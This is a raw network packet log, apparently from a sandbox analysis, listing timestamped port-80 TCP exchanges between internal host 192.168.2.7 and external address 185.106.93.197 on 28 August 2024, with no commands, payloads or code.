                                                                      Aug 28, 2024 11:18:56.366015911 CEST6022280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:56.366115093 CEST6022380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:56.366354942 CEST8060221185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:56.366390944 CEST6022180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:56.370908022 CEST8060223185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:56.725182056 CEST6022380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:56.733644962 CEST8060223185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:56.733658075 CEST8060223185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:56.733668089 CEST8060223185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:57.079466105 CEST8060223185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:57.128490925 CEST6022380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:57.209625959 CEST8060223185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:57.253501892 CEST6022380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:57.329231977 CEST6022480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:57.334129095 CEST8060224185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:57.334213972 CEST6022480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:57.334379911 CEST6022480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:57.339134932 CEST8060224185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:57.691293955 CEST6022480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:57.696259975 CEST8060224185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:57.696273088 CEST8060224185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:57.696284056 CEST8060224185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:58.047287941 CEST8060224185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:58.097234964 CEST6022480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:58.176882982 CEST8060224185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:58.222040892 CEST6022480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:58.298401117 CEST6022480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:58.298782110 CEST6022580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:58.303585052 CEST8060224185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:58.303599119 CEST8060225185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:58.303637981 CEST6022480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:58.303680897 CEST6022580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:58.303782940 CEST6022580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:58.308523893 CEST8060225185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:58.661891937 CEST6022580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:58.666814089 CEST8060225185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:58.666903019 CEST8060225185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:58.666913033 CEST8060225185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:58.954695940 CEST8060225185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:59.007078886 CEST6022580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:59.102139950 CEST8060225185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:59.147084951 CEST6022580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:59.219679117 CEST6022380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:59.223093033 CEST6022580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:59.223093033 CEST6022680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:59.228104115 CEST8060226185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:59.228230953 CEST6022680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:59.228321075 CEST6022680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:59.228370905 CEST8060225185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:59.228430033 CEST6022580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:59.233263969 CEST8060226185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:59.581717014 CEST6022680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:59.587126970 CEST8060226185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:59.587146044 CEST8060226185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:59.587156057 CEST8060226185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:59.882962942 CEST8060226185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:59.927124023 CEST6022680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:00.014626026 CEST8060226185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:00.066008091 CEST6022680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:00.145752907 CEST6022680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:00.146316051 CEST6022780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:00.150966883 CEST8060226185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:00.151063919 CEST6022680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:00.151931047 CEST8060227185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:00.152003050 CEST6022780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:00.152144909 CEST6022780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:00.156970024 CEST8060227185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:00.503616095 CEST6022780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:00.508609056 CEST8060227185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:00.508716106 CEST8060227185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:00.508725882 CEST8060227185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:00.793792009 CEST8060227185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:00.847282887 CEST6022780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:00.926074028 CEST8060227185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:00.975083113 CEST6022780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:01.045707941 CEST6022780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:01.045710087 CEST6022880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:01.050610065 CEST8060228185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:01.050934076 CEST6022880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:01.050962925 CEST8060227185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:01.051080942 CEST6022780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:01.051176071 CEST6022880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:01.055963993 CEST8060228185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:01.098450899 CEST6022880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:01.098457098 CEST6022980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:01.103310108 CEST8060229185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:01.104500055 CEST6022980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:01.104720116 CEST6022980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:01.109472990 CEST8060229185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:01.149961948 CEST8060228185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:01.219094038 CEST6023080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:01.224020958 CEST8060230185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:01.227138042 CEST6023080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:01.227267027 CEST6023080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:01.232006073 CEST8060230185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:01.456696987 CEST6022980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:01.461668968 CEST8060229185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:01.461760998 CEST8060229185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:01.512777090 CEST8060228185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:01.512850046 CEST6022880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:01.581741095 CEST6023080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:01.586558104 CEST8060230185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:01.586566925 CEST8060230185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:01.586577892 CEST8060230185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:01.763748884 CEST8060229185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:01.816024065 CEST6022980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:01.898411989 CEST8060229185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:01.925944090 CEST8060230185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:01.941015005 CEST6022980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:01.968076944 CEST6023080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:02.058721066 CEST8060230185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:02.112910032 CEST6023080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:02.176333904 CEST6022980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:02.176424026 CEST6023080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:02.176692963 CEST6023180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:02.181514025 CEST8060231185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:02.181528091 CEST8060229185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:02.181585073 CEST6023180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:02.181606054 CEST6022980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:02.181706905 CEST6023180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:02.181863070 CEST8060230185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:02.181924105 CEST6023080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:02.186515093 CEST8060231185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:02.534918070 CEST6023180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:02.539844990 CEST8060231185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:02.539858103 CEST8060231185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:02.539868116 CEST8060231185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:02.829479933 CEST8060231185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:02.879096031 CEST6023180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:02.960519075 CEST8060231185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:02.960709095 CEST6023180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:02.965950966 CEST8060231185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:02.966021061 CEST6023180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:03.078798056 CEST6023280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:03.083640099 CEST8060232185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:03.083743095 CEST6023280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:03.087093115 CEST6023280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:03.091928005 CEST8060232185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:03.447119951 CEST6023280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:03.453619003 CEST8060232185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:03.453632116 CEST8060232185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:03.453716993 CEST8060232185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:03.761581898 CEST8060232185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:03.816028118 CEST6023280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:03.885493994 CEST8060232185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:03.925420046 CEST6023280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:04.020323992 CEST6023280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:04.020759106 CEST6023380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:04.025494099 CEST8060232185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:04.025510073 CEST8060233185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:04.025546074 CEST6023280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:04.025595903 CEST6023380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:04.025731087 CEST6023380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:04.030462027 CEST8060233185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:04.378712893 CEST6023380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:04.383650064 CEST8060233185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:04.383662939 CEST8060233185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:04.383671999 CEST8060233185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:04.688695908 CEST8060233185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:04.741344929 CEST6023380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:04.820894957 CEST8060233185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:04.863121986 CEST6023380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:04.936101913 CEST6023380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:04.936577082 CEST6023480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:04.943169117 CEST8060234185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:04.943295956 CEST6023480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:04.943450928 CEST6023480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:04.943694115 CEST8060233185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:04.945219040 CEST6023380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:04.948281050 CEST8060234185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:05.300679922 CEST6023480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:05.306351900 CEST8060234185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:05.306365967 CEST8060234185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:05.306374073 CEST8060234185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:05.576313019 CEST8060234185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:05.704476118 CEST6023480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:05.709688902 CEST8060234185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:05.833153009 CEST6023480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:05.833714962 CEST6023580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:05.838366032 CEST8060234185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:05.838416100 CEST6023480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:05.838617086 CEST8060235185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:05.838681936 CEST6023580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:05.838867903 CEST6023580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:05.843624115 CEST8060235185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:06.194395065 CEST6023580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:06.201031923 CEST8060235185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:06.201050997 CEST8060235185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:06.201060057 CEST8060235185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:06.567233086 CEST8060235185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:06.702517986 CEST8060235185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:06.703362942 CEST6023580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:06.828680038 CEST6023580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:06.828967094 CEST6023680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:06.834014893 CEST8060235185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:06.834027052 CEST8060236185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:06.834134102 CEST6023580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:06.834275007 CEST6023680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:06.834367037 CEST6023680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:06.839050055 CEST8060236185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:06.910487890 CEST6023680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:06.910845995 CEST6023780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:06.926417112 CEST8060237185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:06.926539898 CEST6023780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:06.926649094 CEST6023780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:06.932497978 CEST8060237185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:06.969955921 CEST8060236185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:07.030426979 CEST6023880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:07.036566973 CEST8060238185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:07.039174080 CEST6023880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:07.039352894 CEST6023880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:07.049437046 CEST8060238185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:07.284590960 CEST8060236185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:07.284703016 CEST6023680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:07.284961939 CEST6023780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:07.289838076 CEST8060237185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:07.289849043 CEST8060237185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:07.394404888 CEST6023880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:07.401809931 CEST8060238185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:07.401824951 CEST8060238185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:07.401835918 CEST8060238185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:07.552995920 CEST8060237185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:07.682318926 CEST8060237185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:07.682388067 CEST6023780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:07.684891939 CEST8060238185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:07.737962008 CEST6023880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:07.818188906 CEST8060238185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:07.863004923 CEST6023880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:07.943625927 CEST6023780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:07.943727970 CEST6023880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:07.944047928 CEST6023980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:07.948857069 CEST8060239185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:07.948932886 CEST6023980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:07.949021101 CEST8060237185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:07.949075937 CEST6023780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:07.949100018 CEST6023980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:07.949110031 CEST8060238185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:07.949155092 CEST6023880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:07.953836918 CEST8060239185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:08.300662041 CEST6023980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:08.305629015 CEST8060239185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:08.305644035 CEST8060239185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:08.305655003 CEST8060239185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:08.689624071 CEST8060239185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:08.738142967 CEST6023980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:08.750623941 CEST8060239185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:08.755125046 CEST6023980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:08.760818005 CEST8060239185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:08.767129898 CEST6023980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:08.879118919 CEST6024080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:08.884089947 CEST8060240185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:08.884243011 CEST6024080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:08.884387016 CEST6024080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:08.889158964 CEST8060240185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:09.238060951 CEST6024080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:09.243072033 CEST8060240185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:09.243084908 CEST8060240185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:09.243097067 CEST8060240185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:09.581969976 CEST8060240185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:09.659820080 CEST6024080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:09.712529898 CEST8060240185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:09.769227028 CEST6024080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:09.833321095 CEST6024080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:09.833550930 CEST6024180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:09.838368893 CEST8060241185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:09.838453054 CEST6024180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:09.838558912 CEST6024180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:09.838639021 CEST8060240185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:09.838685036 CEST6024080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:09.843703985 CEST8060241185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:10.191382885 CEST6024180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:10.197017908 CEST8060241185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:10.197041035 CEST8060241185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:10.197051048 CEST8060241185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:10.526326895 CEST8060241185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:10.658546925 CEST8060241185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:10.661124945 CEST6024180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:10.769207001 CEST6024180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:10.812180042 CEST6024180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:10.812180042 CEST6024280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:10.817325115 CEST8060242185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:10.817785025 CEST8060241185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:10.821201086 CEST6024180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:10.821201086 CEST6024280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:10.821409941 CEST6024280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:10.826255083 CEST8060242185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:11.175730944 CEST6024280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:11.180991888 CEST8060242185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:11.181009054 CEST8060242185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:11.181582928 CEST8060242185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:11.453984976 CEST8060242185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:11.505136013 CEST6024280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:11.582411051 CEST8060242185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:11.628567934 CEST6024280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:11.720959902 CEST6024280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:11.721539974 CEST6024380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:11.726145983 CEST8060242185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:11.726346016 CEST6024280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:11.726361990 CEST8060243185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:11.726421118 CEST6024380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:11.727475882 CEST6024380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:11.732289076 CEST8060243185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:12.081866026 CEST6024380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:12.086864948 CEST8060243185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:12.086878061 CEST8060243185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:12.086888075 CEST8060243185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:12.357408047 CEST8060243185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:12.409842968 CEST6024380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:12.485744953 CEST8060243185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:12.534856081 CEST6024380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:12.719583988 CEST6024480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:12.723220110 CEST6024380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:12.724603891 CEST8060244185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:12.726903915 CEST6024480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:12.728322029 CEST8060243185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:12.728359938 CEST6024480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:12.729276896 CEST6024380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:12.734433889 CEST8060244185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:12.855748892 CEST6024580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:12.860681057 CEST8060245185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:12.861326933 CEST6024580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:12.863131046 CEST6024580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:12.870577097 CEST8060245185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:13.082154989 CEST6024480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:13.087213039 CEST8060244185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:13.087230921 CEST8060244185.106.93.197192.168.2.7
